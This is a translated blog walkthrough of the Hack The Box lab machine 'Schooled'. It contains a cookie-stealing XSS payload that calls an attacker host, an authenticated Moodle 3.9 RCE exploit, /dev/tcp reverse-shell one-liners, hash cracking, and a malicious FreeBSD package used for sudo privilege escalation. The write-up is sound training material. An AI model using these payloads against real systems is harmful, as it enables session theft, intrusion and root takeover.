This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Schooled


We exploit an XSS in Moodle to steal a session cookie and a Moodle 3.9 CVE that leads to RCE. For privilege escalation, we become root through the pkg command, due to misconfigured permissions in /etc/sudoers

March 28, 20248 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

> ping -c 1 10.10.10.234
PING 10.10.10.234 (10.10.10.234) 56(84) bytes of data.
64 bytes from 10.10.10.234: icmp_seq=1 ttl=63 time=36.3 ms

--- 10.10.10.234 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 36.284/36.284/36.284/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.234 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │
   2   │ [*] Extracting information...
   3   │
   4   │     [*] IP Address: 10.10.10.234
   5   │     [*] Open ports: 22,80,33060
   6   │
   7   │ [*] Ports copied to clipboard
   8   │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

> nmap -p22,80,33060 -sCV 10.10.10.234 -oN versions

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Schooled - A new kind of educational institute
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     HY000
|   LDAPBindReq:
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

So it turns out it isn’t Linux after all: nmap has detected that we are dealing with FreeBSD

Port 80

If we look at the website in the browser, it is a very simple page without any feature that stands out. At this point, we can use whatweb to try to get some information

> whatweb 10.10.10.234
http://10.10.10.234 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[#,[email protected]], HTML5, HTTPServer[FreeBSD][Apache/2.4.46 (FreeBSD) PHP/7.4.15], IP[10.10.10.234], PHP[7.4.15], Script, Title[Schooled - A new kind of educational institute], X-UA-Compatible[IE=edge]

Of all the information gathered, what stands out most is the email address [email protected], since it reveals a domain: schooled.htb. Starting from this domain, we look for subdomains with wfuzz

echo "10.10.10.234 schooled.htb" >> /etc/hosts
> wfuzz -c -t 20 --hc=404 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb/

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000015:   200        461 L    1555 W     20750 Ch    "ns"
000000031:   200        461 L    1555 W     20750 Ch    "mobile"
000000001:   200        461 L    1555 W     20750 Ch    "www"
000000003:   200        461 L    1555 W     20750 Ch    "ftp"
000000007:   200        461 L    1555 W     20750 Ch    "webdisk"
000000040:   200        461 L    1555 W     20750 Ch    "ns4"

All the subdomains return a 200 status code, so we’ll filter the responses by something other than the status code. For example, we can filter by the number of characters and hide all responses with 20750 characters: --hh20750

> wfuzz -c -t 20 --hh=20750 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb/

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000162:   200        1 L      5 W        84 Ch       "moodle"

We have a subdomain: moodle

echo "10.10.10.234 schooled.htb moodle.schooled.htb" >> /etc/hosts

This subdomain has Moodle installed.

To browse Moodle, we create an account.

Inside the math course there is the following message

Este es un curso de autoinscripción. Para los estudiantes que deseen asistir a mis conferencias, asegúrese de tener configurado su perfil de MoodleNet.

Los estudiantes que no configuren sus perfiles de MoodleNet serán eliminados del curso antes de que comience el curso y verificaré a todos los estudiantes que estén inscritos en este curso.

Esperamos verlos a todos pronto.

manuel phillips

In our profile settings, we edit the MoodleNet profile. The note mentions that the teacher checks the MoodleNet profiles, so we can try an XSS to steal the teacher’s cookie

This confirms we can do an XSS.

To steal the teacher’s session cookie and hijack their account, we’ll use the following payload

<img src=x onerror=this.src='http://10.10.14.20/input.php?cookie='+document.cookie>

Then we start an HTTP server with Python to receive the request with the cookie

> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.10.10.234 - - [07/Apr/2024 21:13:44] "GET /input.php?cookie=MoodleSession=j7br6s51ia212og0ghc8htd1f8 HTTP/1.1" 200 -

Now we have the cookie and can hijack Manuel Phillips’s session

Checking /theme/upgrade.txt, we find the Moodle version: 3.9

> curl moodle.schooled.htb/moodle/theme/upgrade.txt


This files describes API changes in /theme/* themes,
information provided here is intended especially for theme designer.

=== 3.9 ===

Searching with searchsploit, we find an exploit for that version

> searchsploit moodle 3.9

----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)                     | php/webapps/50180.py
----------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
> python3 50180.py http://moodle.schooled.htb/moodle --cookie 4ai0o3jlkpct1pcv6a2go5c687
 __     __     __   __  __   __              __  __     
/  \  /|_  __   _) /  \  _) /  \ __  /| |__|  _)  _) /| 
\__ \/ |__     /__ \__/ /__ \__/      |    | __) /__  | • by lanz

Moodle 3.9 - Remote Command Execution (Authenticated as teacher)
Course enrolments allowed privilege escalation from teacher role into manager role to RCE
                                                        
[+] Login on site: MoodleSession:4ai0o3jlkpct1pcv6a2go5c687 ✓
[+] Updating roles to move on manager accout: ✓
[+] Updating rol manager to enable install plugins: ✓
[+] Uploading malicious .zip file: ✓
[+] Executing whoami: ✓

www

[+] Keep breaking ev3rYthiNg!!

The exploit worked!

To receive the reverse shell, we listen on port 443

nc -nlvp 443

Finally, taking advantage of the plugin the exploit uploaded to run commands, we’ll run the command that sends us the reverse shell

bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"
curl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.8%2F443%200%3E%261%27"

Privilege escalation

To improve the console we’ll use the usual command python3 -c 'import pty;pty.spawn("bash")'

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ python3 -c 'import pty;pty.spawn("bash")'
bash: python3: command not found

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ which python3

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ which python

It seems Python isn’t installed, but if we search for it with find, it does exist

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ find / -name python3 2>/dev/null
/usr/local/bin/python3

This is because /usr/local/bin isn’t in the PATH

[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ echo $PATH            
/sbin:/bin:/usr/sbin:/usr/bin

So to run the previous command we need to specify the full path

/usr/local/bin/python3 -c 'import pty;pty.spawn("bash")'
[www@Schooled /]$ ^Z
zsh: suspended  nc -nlvp 443
                                                                                                      
> stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset

Now we have a proper shell, but we still can’t use ctrl + l. To fix it, we run the following so that TERM is xterm and SHELL is bash

[www@Schooled /]$ export TERM=xterm
[www@Schooled /]$ export SHELL=bash

Inside Moodle’s config.php file we find the database credentials

[www@Schooled /usr/local/www/apache24/data/moodle]$ cat config.php
<?php  // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (

We connect

mysql -u moodle -p

We select the moodle database

moodle@localhost [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| moodle             |
+--------------------+


moodle@localhost [(none)]> use moddle

Then we query the users table

moodle@localhost [moodle]> select * from mdl_user;

Inside there is a user called Jamie, who also happens to exist on the system

[www@Schooled /usr/local/www/apache24/data/moodle]$ cat /etc/passwd | grep jamie
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh

So what we’ll do is take their hash from the database and save it in a file called hash, to crack it later with john

> john --wordlist=/usr/share/wordlists/rockyou.txt hash

Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx         (?)     

Now we have their password; we can check whether they use the same password on the system

> ssh [email protected]
([email protected]) Password for jamie@Schooled:

jamie@Schooled:~ $ 

They do use the same password

With sudo -l we see that jamie is allowed to run two commands

jamie@Schooled:/tmp $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *

A quick search on GTFOBins shows that we can abuse pkg to escalate privileges.

To escalate privileges, we’ll create a FreeBSD package that contains a command to send us a reverse shell

TF=$(mktemp -d)
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

We copy this package to the target machine, for example through a Python server.

curl 10.10.14.14/x-1.0.txz --output x-1.0.txz

Finally, we listen with nc (’nc -nlvp 443’) and install the package

sudo pkg install -y --no-repo-update ./x-1.0.txz

We get the shell as root!

> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.234] 15909
[root@Schooled /tmp]#